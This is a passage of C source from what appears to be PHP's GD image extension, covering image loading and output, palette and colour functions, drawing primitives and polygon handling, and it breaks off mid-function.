*tn, gdImagePtr (*func_p)(), gdImagePtr (*ioctx_func_p)()) { char *file; int file_len; long srcx, srcy, width, height; gdImagePtr im = NULL; php_stream *stream; FILE * fp = NULL; long ignore_warning; if (image_type == PHP_GDIMG_TYPE_GD2PART) { if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "pllll", &file, &file_len, &srcx, &srcy, &width, &height) == FAILURE) { return; } if (width < 1 || height < 1) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Zero width or height not allowed"); RETURN_FALSE; } } else { if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "p", &file, &file_len) == FAILURE) { return; } } stream = php_stream_open_wrapper(file, "rb", REPORT_ERRORS|IGNORE_PATH|IGNORE_URL_WIN, NULL); if (stream == NULL) { RETURN_FALSE; } /* try and avoid allocating a FILE* if the stream is not naturally a FILE* */ if (php_stream_is(stream, PHP_STREAM_IS_STDIO)) { if (FAILURE == php_stream_cast(stream, PHP_STREAM_AS_STDIO, (void**)&fp, REPORT_ERRORS)) { goto out_err; } } else if (ioctx_func_p) { /* we can create an io context */ gdIOCtx* io_ctx; size_t buff_size; char *buff; /* needs to be malloc (persistent) - GD will free() it later */ buff_size = php_stream_copy_to_mem(stream, &buff, PHP_STREAM_COPY_ALL, 1); if (!buff_size) { php_error_docref(NULL TSRMLS_CC, E_WARNING,"Cannot read image data"); goto out_err; } io_ctx = gdNewDynamicCtxEx(buff_size, buff, 0); if (!io_ctx) { pefree(buff, 1); php_error_docref(NULL TSRMLS_CC, E_WARNING,"Cannot allocate GD IO context"); goto out_err; } if (image_type == PHP_GDIMG_TYPE_GD2PART) { im = (*ioctx_func_p)(io_ctx, srcx, srcy, width, height); } else { im = (*ioctx_func_p)(io_ctx); } io_ctx->gd_free(io_ctx); pefree(buff, 1); } else if (php_stream_can_cast(stream, PHP_STREAM_AS_STDIO)) { /* try and force the stream to be FILE* */ if (FAILURE == php_stream_cast(stream, PHP_STREAM_AS_STDIO | PHP_STREAM_CAST_TRY_HARD, (void **) &fp, REPORT_ERRORS)) { goto out_err; } } if (!im && fp) { switch (image_type) { case PHP_GDIMG_TYPE_GD2PART: im = (*func_p)(fp, srcx, srcy, width, height); break; #if defined(HAVE_GD_XPM) case PHP_GDIMG_TYPE_XPM: im = gdImageCreateFromXpm(file); break; #endif #ifdef HAVE_GD_JPG case PHP_GDIMG_TYPE_JPG: ignore_warning = INI_INT("gd.jpeg_ignore_warning"); im = gdImageCreateFromJpegEx(fp, ignore_warning); break; #endif default: im = (*func_p)(fp); break; } fflush(fp); } /* register_im: */ if (im) { ZEND_REGISTER_RESOURCE(return_value, im, le_gd); php_stream_close(stream); return; } php_error_docref(NULL TSRMLS_CC, E_WARNING, "'%s' is not a valid %s file", file, tn); out_err: php_stream_close(stream); RETURN_FALSE; } /* }}} */ /* {{{ proto resource imagecreatefromgif(string filename) Create a new image from GIF file or URL */ PHP_FUNCTION(imagecreatefromgif) { _php_image_create_from(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_GDIMG_TYPE_GIF, "GIF", gdImageCreateFromGif, gdImageCreateFromGifCtx); } /* }}} */ #ifdef HAVE_GD_JPG /* {{{ proto resource imagecreatefromjpeg(string filename) Create a new image from JPEG file or URL */ PHP_FUNCTION(imagecreatefromjpeg) { _php_image_create_from(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_GDIMG_TYPE_JPG, "JPEG", gdImageCreateFromJpeg, gdImageCreateFromJpegCtx); } /* }}} */ #endif /* HAVE_GD_JPG */ #ifdef HAVE_GD_PNG /* {{{ proto resource imagecreatefrompng(string filename) Create a new image from PNG file or URL */ PHP_FUNCTION(imagecreatefrompng) { _php_image_create_from(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_GDIMG_TYPE_PNG, "PNG", gdImageCreateFromPng, gdImageCreateFromPngCtx); } /* }}} */ #endif /* HAVE_GD_PNG */ #ifdef HAVE_GD_WEBP /* {{{ proto resource imagecreatefromwebp(string filename) Create a new image from WEBP file or URL */ PHP_FUNCTION(imagecreatefromwebp) { _php_image_create_from(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_GDIMG_TYPE_WEBP, "WEBP", gdImageCreateFromWebp, gdImageCreateFromWebpCtx); } /* }}} */ #endif /* HAVE_GD_VPX */ /* {{{ proto resource imagecreatefromxbm(string filename) Create a new image from XBM file or URL */ PHP_FUNCTION(imagecreatefromxbm) { _php_image_create_from(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_GDIMG_TYPE_XBM, "XBM", gdImageCreateFromXbm, NULL); } /* }}} */ #if defined(HAVE_GD_XPM) /* {{{ proto resource imagecreatefromxpm(string filename) Create a new image from XPM file or URL */ PHP_FUNCTION(imagecreatefromxpm) { _php_image_create_from(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_GDIMG_TYPE_XPM, "XPM", gdImageCreateFromXpm, NULL); } /* }}} */ #endif /* {{{ proto resource imagecreatefromwbmp(string filename) Create a new image from WBMP file or URL */ PHP_FUNCTION(imagecreatefromwbmp) { _php_image_create_from(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_GDIMG_TYPE_WBM, "WBMP", gdImageCreateFromWBMP, gdImageCreateFromWBMPCtx); } /* }}} */ /* {{{ proto resource imagecreatefromgd(string filename) Create a new image from GD file or URL */ PHP_FUNCTION(imagecreatefromgd) { _php_image_create_from(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_GDIMG_TYPE_GD, "GD", gdImageCreateFromGd, gdImageCreateFromGdCtx); } /* }}} */ /* {{{ proto resource imagecreatefromgd2(string filename) Create a new image from GD2 file or URL */ PHP_FUNCTION(imagecreatefromgd2) { _php_image_create_from(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_GDIMG_TYPE_GD2, "GD2", gdImageCreateFromGd2, gdImageCreateFromGd2Ctx); } /* }}} */ /* {{{ proto resource imagecreatefromgd2part(string filename, int srcX, int srcY, int width, int height) Create a new image from a given part of GD2 file or URL */ PHP_FUNCTION(imagecreatefromgd2part) { _php_image_create_from(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_GDIMG_TYPE_GD2PART, "GD2", gdImageCreateFromGd2Part, gdImageCreateFromGd2PartCtx); } /* }}} */ /* {{{ _php_image_output */ static void _php_image_output(INTERNAL_FUNCTION_PARAMETERS, int image_type, char *tn, void (*func_p)()) { zval *imgind; char *file = NULL; long quality = 0, type = 0; gdImagePtr im; char *fn = NULL; FILE *fp; int file_len = 0, argc = ZEND_NUM_ARGS(); int q = -1, i, t = 1; /* The quality parameter for Wbmp stands for the threshold when called from image2wbmp() */ /* When called from imagewbmp() the quality parameter stands for the foreground color. Default: black. */ /* The quality parameter for gd2 stands for chunk size */ if (zend_parse_parameters(argc TSRMLS_CC, "r|pll", &imgind, &file, &file_len, &quality, &type) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &imgind, -1, "Image", le_gd); if (argc > 1) { fn = file; if (argc == 3) { q = quality; } if (argc == 4) { t = type; } } if (argc >= 2 && file_len) { PHP_GD_CHECK_OPEN_BASEDIR(fn, "Invalid filename"); fp = VCWD_FOPEN(fn, "wb"); if (!fp) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unable to open '%s' for writing", fn); RETURN_FALSE; } switch (image_type) { case PHP_GDIMG_CONVERT_WBM: if (q == -1) { q = 0; } else if (q < 0 || q > 255) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Invalid threshold value '%d'. It must be between 0 and 255", q); q = 0; } gdImageWBMP(im, q, fp); break; case PHP_GDIMG_TYPE_JPG: (*func_p)(im, fp, q); break; case PHP_GDIMG_TYPE_WBM: for (i = 0; i < gdImageColorsTotal(im); i++) { if (gdImageRed(im, i) == 0) break; } (*func_p)(im, i, fp); break; case PHP_GDIMG_TYPE_GD: if (im->trueColor){ gdImageTrueColorToPalette(im,1,256); } (*func_p)(im, fp); break; case PHP_GDIMG_TYPE_GD2: if (q == -1) { q = 128; } (*func_p)(im, fp, q, t); break; default: if (q == -1) { q = 128; } (*func_p)(im, fp, q, t); break; } fflush(fp); fclose(fp); } else { int b; FILE *tmp; char buf[4096]; char *path; tmp = php_open_temporary_file(NULL, NULL, &path TSRMLS_CC); if (tmp == NULL) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unable to open temporary file"); RETURN_FALSE; } switch (image_type) { case PHP_GDIMG_CONVERT_WBM: if (q == -1) { q = 0; } else if (q < 0 || q > 255) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Invalid threshold value '%d'. It must be between 0 and 255", q); q = 0; } gdImageWBMP(im, q, tmp); break; case PHP_GDIMG_TYPE_JPG: (*func_p)(im, tmp, q); break; case PHP_GDIMG_TYPE_WBM: for (i = 0; i < gdImageColorsTotal(im); i++) { if (gdImageRed(im, i) == 0) { break; } } (*func_p)(im, q, tmp); break; case PHP_GDIMG_TYPE_GD: if (im->trueColor) { gdImageTrueColorToPalette(im,1,256); } (*func_p)(im, tmp); break; case PHP_GDIMG_TYPE_GD2: if (q == -1) { q = 128; } (*func_p)(im, tmp, q, t); break; default: (*func_p)(im, tmp); break; } fseek(tmp, 0, SEEK_SET); #if APACHE && defined(CHARSET_EBCDIC) /* XXX this is unlikely to work any more thies@thieso.net */ /* This is a binary file already: avoid EBCDIC->ASCII conversion */ ap_bsetflag(php3_rqst->connection->client, B_EBCDIC2ASCII, 0); #endif while ((b = fread(buf, 1, sizeof(buf), tmp)) > 0) { php_write(buf, b TSRMLS_CC); } fclose(tmp); VCWD_UNLINK((const char *)path); /* make sure that the temporary file is removed */ efree(path); } RETURN_TRUE; } /* }}} */ /* {{{ proto int imagexbm(int im, string filename [, int foreground]) Output XBM image to browser or file */ PHP_FUNCTION(imagexbm) { _php_image_output_ctx(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_GDIMG_TYPE_XBM, "XBM", gdImageXbmCtx); } /* }}} */ /* {{{ proto bool imagegif(resource im [, string filename]) Output GIF image to browser or file */ PHP_FUNCTION(imagegif) { _php_image_output_ctx(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_GDIMG_TYPE_GIF, "GIF", gdImageGifCtx); } /* }}} */ #ifdef HAVE_GD_PNG /* {{{ proto bool imagepng(resource im [, string filename]) Output PNG image to browser or file */ PHP_FUNCTION(imagepng) { _php_image_output_ctx(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_GDIMG_TYPE_PNG, "PNG", gdImagePngCtxEx); } /* }}} */ #endif /* HAVE_GD_PNG */ #ifdef HAVE_GD_WEBP /* {{{ proto bool imagewebp(resource im [, string filename[, quality]] ) Output WEBP image to browser or file */ PHP_FUNCTION(imagewebp) { _php_image_output_ctx(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_GDIMG_TYPE_WEBP, "WEBP", gdImageWebpCtx); } /* }}} */ #endif /* HAVE_GD_WEBP */ #ifdef HAVE_GD_JPG /* {{{ proto bool imagejpeg(resource im [, string filename [, int quality]]) Output JPEG image to browser or file */ PHP_FUNCTION(imagejpeg) { _php_image_output_ctx(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_GDIMG_TYPE_JPG, "JPEG", gdImageJpegCtx); } /* }}} */ #endif /* HAVE_GD_JPG */ /* {{{ proto bool imagewbmp(resource im [, string filename, [, int foreground]]) Output WBMP image to browser or file */ PHP_FUNCTION(imagewbmp) { _php_image_output_ctx(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_GDIMG_TYPE_WBM, "WBMP", gdImageWBMPCtx); } /* }}} */ /* {{{ proto bool imagegd(resource im [, string filename]) Output GD image to browser or file */ PHP_FUNCTION(imagegd) { _php_image_output(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_GDIMG_TYPE_GD, "GD", gdImageGd); } /* }}} */ /* {{{ proto bool imagegd2(resource im [, string filename, [, int chunk_size, [, int type]]]) Output GD2 image to browser or file */ PHP_FUNCTION(imagegd2) { _php_image_output(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_GDIMG_TYPE_GD2, "GD2", gdImageGd2); } /* }}} */ /* {{{ proto bool imagedestroy(resource im) Destroy an image */ PHP_FUNCTION(imagedestroy) { zval *IM; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "r", &IM) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); zend_list_delete(Z_LVAL_P(IM)); RETURN_TRUE; } /* }}} */ /* {{{ proto int imagecolorallocate(resource im, int red, int green, int blue) Allocate a color for an image */ PHP_FUNCTION(imagecolorallocate) { zval *IM; long red, green, blue; gdImagePtr im; int ct = (-1); if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rlll", &IM, &red, &green, &blue) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); ct = gdImageColorAllocate(im, red, green, blue); if (ct < 0) { RETURN_FALSE; } RETURN_LONG(ct); } /* }}} */ /* {{{ proto void imagepalettecopy(resource dst, resource src) Copy the palette from the src image onto the dst image */ PHP_FUNCTION(imagepalettecopy) { zval *dstim, *srcim; gdImagePtr dst, src; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rr", &dstim, &srcim) == FAILURE) { return; } ZEND_FETCH_RESOURCE(dst, gdImagePtr, &dstim, -1, "Image", le_gd); ZEND_FETCH_RESOURCE(src, gdImagePtr, &srcim, -1, "Image", le_gd); gdImagePaletteCopy(dst, src); } /* }}} */ /* {{{ proto int imagecolorat(resource im, int x, int y) Get the index of the color of a pixel */ PHP_FUNCTION(imagecolorat) { zval *IM; long x, y; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rll", &IM, &x, &y) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); if (gdImageTrueColor(im)) { if (im->tpixels && gdImageBoundsSafe(im, x, y)) { RETURN_LONG(gdImageTrueColorPixel(im, x, y)); } else { php_error_docref(NULL TSRMLS_CC, E_NOTICE, "%ld,%ld is out of bounds", x, y); RETURN_FALSE; } } else { if (im->pixels && gdImageBoundsSafe(im, x, y)) { RETURN_LONG(im->pixels[y][x]); } else { php_error_docref(NULL TSRMLS_CC, E_NOTICE, "%ld,%ld is out of bounds", x, y); RETURN_FALSE; } } } /* }}} */ /* {{{ proto int imagecolorclosest(resource im, int red, int green, int blue) Get the index of the closest color to the specified color */ PHP_FUNCTION(imagecolorclosest) { zval *IM; long red, green, blue; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rlll", &IM, &red, &green, &blue) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); RETURN_LONG(gdImageColorClosest(im, red, green, blue)); } /* }}} */ /* {{{ proto int imagecolorclosesthwb(resource im, int red, int green, int blue) Get the index of the color which has the hue, white and blackness nearest to the given color */ PHP_FUNCTION(imagecolorclosesthwb) { zval *IM; long red, green, blue; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rlll", &IM, &red, &green, &blue) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); RETURN_LONG(gdImageColorClosestHWB(im, red, green, blue)); } /* }}} */ /* {{{ proto bool imagecolordeallocate(resource im, int index) De-allocate a color for an image */ PHP_FUNCTION(imagecolordeallocate) { zval *IM; long index; int col; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rl", &IM, &index) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); /* We can return right away for a truecolor image as deallocating colours is meaningless here */ if (gdImageTrueColor(im)) { RETURN_TRUE; } col = index; if (col >= 0 && col < gdImageColorsTotal(im)) { gdImageColorDeallocate(im, col); RETURN_TRUE; } else { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Color index %d out of range", col); RETURN_FALSE; } } /* }}} */ /* {{{ proto int imagecolorresolve(resource im, int red, int green, int blue) Get the index of the specified color or its closest possible alternative */ PHP_FUNCTION(imagecolorresolve) { zval *IM; long red, green, blue; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rlll", &IM, &red, &green, &blue) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); RETURN_LONG(gdImageColorResolve(im, red, green, blue)); } /* }}} */ /* {{{ proto int imagecolorexact(resource im, int red, int green, int blue) Get the index of the specified color */ PHP_FUNCTION(imagecolorexact) { zval *IM; long red, green, blue; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rlll", &IM, &red, &green, &blue) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); RETURN_LONG(gdImageColorExact(im, red, green, blue)); } /* }}} */ /* {{{ proto void imagecolorset(resource im, int col, int red, int green, int blue) Set the color for the specified palette index */ PHP_FUNCTION(imagecolorset) { zval *IM; long color, red, green, blue, alpha = 0; int col; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rllll|l", &IM, &color, &red, &green, &blue, &alpha) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); col = color; if (col >= 0 && col < gdImageColorsTotal(im)) { im->red[col] = red; im->green[col] = green; im->blue[col] = blue; im->alpha[col] = alpha; } else { RETURN_FALSE; } } /* }}} */ /* {{{ proto array imagecolorsforindex(resource im, int col) Get the colors for an index */ PHP_FUNCTION(imagecolorsforindex) { zval *IM; long index; int col; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rl", &IM, &index) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); col = index; if ((col >= 0 && gdImageTrueColor(im)) || (!gdImageTrueColor(im) && col >= 0 && col < gdImageColorsTotal(im))) { array_init(return_value); add_assoc_long(return_value,"red", gdImageRed(im,col)); add_assoc_long(return_value,"green", gdImageGreen(im,col)); add_assoc_long(return_value,"blue", gdImageBlue(im,col)); add_assoc_long(return_value,"alpha", gdImageAlpha(im,col)); } else { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Color index %d out of range", col); RETURN_FALSE; } } /* }}} */ /* {{{ proto bool imagegammacorrect(resource im, float inputgamma, float outputgamma) Apply a gamma correction to a GD image */ PHP_FUNCTION(imagegammacorrect) { zval *IM; gdImagePtr im; int i; double input, output; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rdd", &IM, &input, &output) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); if (gdImageTrueColor(im)) { int x, y, c; for (y = 0; y < gdImageSY(im); y++) { for (x = 0; x < gdImageSX(im); x++) { c = gdImageGetPixel(im, x, y); gdImageSetPixel(im, x, y, gdTrueColorAlpha( (int) ((pow((pow((gdTrueColorGetRed(c) / 255.0), input)), 1.0 / output) * 255) + .5), (int) ((pow((pow((gdTrueColorGetGreen(c) / 255.0), input)), 1.0 / output) * 255) + .5), (int) ((pow((pow((gdTrueColorGetBlue(c) / 255.0), input)), 1.0 / output) * 255) + .5), gdTrueColorGetAlpha(c) ) ); } } RETURN_TRUE; } for (i = 0; i < gdImageColorsTotal(im); i++) { im->red[i] = (int)((pow((pow((im->red[i] / 255.0), input)), 1.0 / output) * 255) + .5); im->green[i] = (int)((pow((pow((im->green[i] / 255.0), input)), 1.0 / output) * 255) + .5); im->blue[i] = (int)((pow((pow((im->blue[i] / 255.0), input)), 1.0 / output) * 255) + .5); } RETURN_TRUE; } /* }}} */ /* {{{ proto bool imagesetpixel(resource im, int x, int y, int col) Set a single pixel */ PHP_FUNCTION(imagesetpixel) { zval *IM; long x, y, col; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rlll", &IM, &x, &y, &col) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); gdImageSetPixel(im, x, y, col); RETURN_TRUE; } /* }}} */ /* {{{ proto bool imageline(resource im, int x1, int y1, int x2, int y2, int col) Draw a line */ PHP_FUNCTION(imageline) { zval *IM; long x1, y1, x2, y2, col; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rlllll", &IM, &x1, &y1, &x2, &y2, &col) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); #ifdef HAVE_GD_BUNDLED if (im->antialias) { gdImageAALine(im, x1, y1, x2, y2, col); } else #endif { gdImageLine(im, x1, y1, x2, y2, col); } RETURN_TRUE; } /* }}} */ /* {{{ proto bool imagedashedline(resource im, int x1, int y1, int x2, int y2, int col) Draw a dashed line */ PHP_FUNCTION(imagedashedline) { zval *IM; long x1, y1, x2, y2, col; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rlllll", &IM, &x1, &y1, &x2, &y2, &col) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); gdImageDashedLine(im, x1, y1, x2, y2, col); RETURN_TRUE; } /* }}} */ /* {{{ proto bool imagerectangle(resource im, int x1, int y1, int x2, int y2, int col) Draw a rectangle */ PHP_FUNCTION(imagerectangle) { zval *IM; long x1, y1, x2, y2, col; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rlllll", &IM, &x1, &y1, &x2, &y2, &col) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); gdImageRectangle(im, x1, y1, x2, y2, col); RETURN_TRUE; } /* }}} */ /* {{{ proto bool imagefilledrectangle(resource im, int x1, int y1, int x2, int y2, int col) Draw a filled rectangle */ PHP_FUNCTION(imagefilledrectangle) { zval *IM; long x1, y1, x2, y2, col; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rlllll", &IM, &x1, &y1, &x2, &y2, &col) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); gdImageFilledRectangle(im, x1, y1, x2, y2, col); RETURN_TRUE; } /* }}} */ /* {{{ proto bool imagearc(resource im, int cx, int cy, int w, int h, int s, int e, int col) Draw a partial ellipse */ PHP_FUNCTION(imagearc) { zval *IM; long cx, cy, w, h, ST, E, col; gdImagePtr im; int e, st; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rlllllll", &IM, &cx, &cy, &w, &h, &ST, &E, &col) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); e = E; if (e < 0) { e %= 360; } st = ST; if (st < 0) { st %= 360; } gdImageArc(im, cx, cy, w, h, st, e, col); RETURN_TRUE; } /* }}} */ /* {{{ proto bool imageellipse(resource im, int cx, int cy, int w, int h, int color) Draw an ellipse */ PHP_FUNCTION(imageellipse) { zval *IM; long cx, cy, w, h, color; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rlllll", &IM, &cx, &cy, &w, &h, &color) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); gdImageEllipse(im, cx, cy, w, h, color); RETURN_TRUE; } /* }}} */ /* {{{ proto bool imagefilltoborder(resource im, int x, int y, int border, int col) Flood fill to specific color */ PHP_FUNCTION(imagefilltoborder) { zval *IM; long x, y, border, col; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rllll", &IM, &x, &y, &border, &col) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); gdImageFillToBorder(im, x, y, border, col); RETURN_TRUE; } /* }}} */ /* {{{ proto bool imagefill(resource im, int x, int y, int col) Flood fill */ PHP_FUNCTION(imagefill) { zval *IM; long x, y, col; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rlll", &IM, &x, &y, &col) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); gdImageFill(im, x, y, col); RETURN_TRUE; } /* }}} */ /* {{{ proto int imagecolorstotal(resource im) Find out the number of colors in an image's palette */ PHP_FUNCTION(imagecolorstotal) { zval *IM; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "r", &IM) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); RETURN_LONG(gdImageColorsTotal(im)); } /* }}} */ /* {{{ proto int imagecolortransparent(resource im [, int col]) Define a color as transparent */ PHP_FUNCTION(imagecolortransparent) { zval *IM; long COL = 0; gdImagePtr im; int argc = ZEND_NUM_ARGS(); if (zend_parse_parameters(argc TSRMLS_CC, "r|l", &IM, &COL) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); if (argc > 1) { gdImageColorTransparent(im, COL); } RETURN_LONG(gdImageGetTransparent(im)); } /* }}} */ /* {{{ proto int imageinterlace(resource im [, int interlace]) Enable or disable interlace */ PHP_FUNCTION(imageinterlace) { zval *IM; int argc = ZEND_NUM_ARGS(); long INT = 0; gdImagePtr im; if (zend_parse_parameters(argc TSRMLS_CC, "r|l", &IM, &INT) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); if (argc > 1) { gdImageInterlace(im, INT); } RETURN_LONG(gdImageGetInterlaced(im)); } /* }}} */ /* {{{ php_imagepolygon arg = 0 normal polygon arg = 1 filled polygon */ /* im, points, num_points, col */ static void php_imagepolygon(INTERNAL_FUNCTION_PARAMETERS, int filled) { zval *IM, *POINTS; long NPOINTS, COL; zval **var = NULL; gdImagePtr im; gdPointPtr points; int npoints, col, nelem, i; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rall", &IM, &POINTS, &NPOINTS, &COL) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); npoints = NPOINTS; col = COL; nelem = zend_hash_num_elements(Z_ARRVAL_P(POINTS)); if (nelem < 6) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "You must have at least 3 points in your array"); RETURN_FALSE; } if (npoints <= 0) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "You must give a positive number of points"); RETURN_FALSE; } if (nelem < npoints * 2) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Trying to use %d points in array with only %d points", npoints, nelem/2); RETURN_FALSE; } points = (gdPointPtr) safe_emalloc(npoints, sizeof(gdPoint), 0); for (i = 0; i < npoints; i++) { if (zend_hash_index_find(Z_ARRVAL_P(POINTS), (i * 2), (void **) &var) == SUCCESS) { if (Z_TYPE_PP(var) != IS_LONG) { zval lval; lval = **var; zval_copy_ctor(&lval); convert_to_long(&lval); points[i].x = Z_LVAL(lval); } else { points[i].x = Z_LVAL_PP(var); } } if (zend_hash_index_find(Z_ARRVAL_P(POINTS), (i * 2) + 1, (void **) &var) == SUCCESS) { if (Z_TYPE_PP(var) != IS_LONG) { zval lval; lval = **var; zval_copy_ctor(&lval); convert_to_long(&lval); points[i].y = Z_LVAL(lval); } else { points[i].y = Z_LVAL_PP(var); } } } if (filled) { gdImageFilledPolygon(im, points, npoints, col); } else { gdImagePolygon(im, points, npoints, col); } efree(points); RETURN_TRUE; } /* }}} */ /* {{{ proto bool imagepolygon(resource im, array point, int num_points, int col) Draw a polygon */ PHP_FUNCTION(imagepolygon) { php_imagepolygon(INTERNAL_FUNCTION_PARAM_PASSTHRU, 0); } /* }}} */ /* {{{ proto bool imagefilledpolygon(resource im, array point, int num_points, int col) Draw a filled polygon */ PHP_FUNCTION(imagefilledpolygon) { php_imagepolygon(INTERNAL_FUNCTION_PARAM_PASSTHRU, 1); } /* }}} */ /* {{{ php_find_gd_font */ static gdFontPtr php_find_gd_font(int size TSRMLS_DC) { gdFontPtr font; int ind_type; switch (size) { case 1: font = gdFontTiny; break; case 2: font = gdFontSmall; break; case 3: font = gdFontMediumBold; break; case 4: font = gdFontLarge; break; case 5: font = gdFontGiant; break; default: font = zend_list_find(size - 5, &ind_type); if (!font || ind_type != le_gd_font) { if (size < 1) { font = gdFontTiny; } else { font = gdFontGiant; } } break; } return font; } /* }}} */ /* {{{ php_imagefontsize * arg = 0 ImageFontWidth * arg = 1 ImageFontHeight */ static void php_imagefontsize(INTERNAL_FUNCTION_PARAMETERS, int arg) { long SIZE; gdFontPtr font; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "l", &SIZE) == FAILURE) { return; } font = php_find_gd_font(SIZE TSRMLS_CC); RETURN_LONG(arg ? font->h : font->w); } /* }}} */ /* {{{ proto int imagefontwidth(int font) Get font width */ PHP_FUNCTION(imagefontwidth) { php_imagefontsize(INTERNAL_FUNCTION_PARAM_PASSTHRU, 0); } /* }}} */ /* {{{ proto int imagefontheight(int font) Get font height */ PHP_FUNCTION(imagefontheight) { php_imagefontsize(INTERNAL_FUNCTION_PARAM_PASSTHRU, 1); } /* }}} */ /* {{{ php_gdimagecharup * workaround for a bug in gd 1.2 */ static void php_gdimagecharup(gdImagePtr im, gdFontPtr f, int x, int y, int c, int color) { int cx, cy, px, py, fline; cx 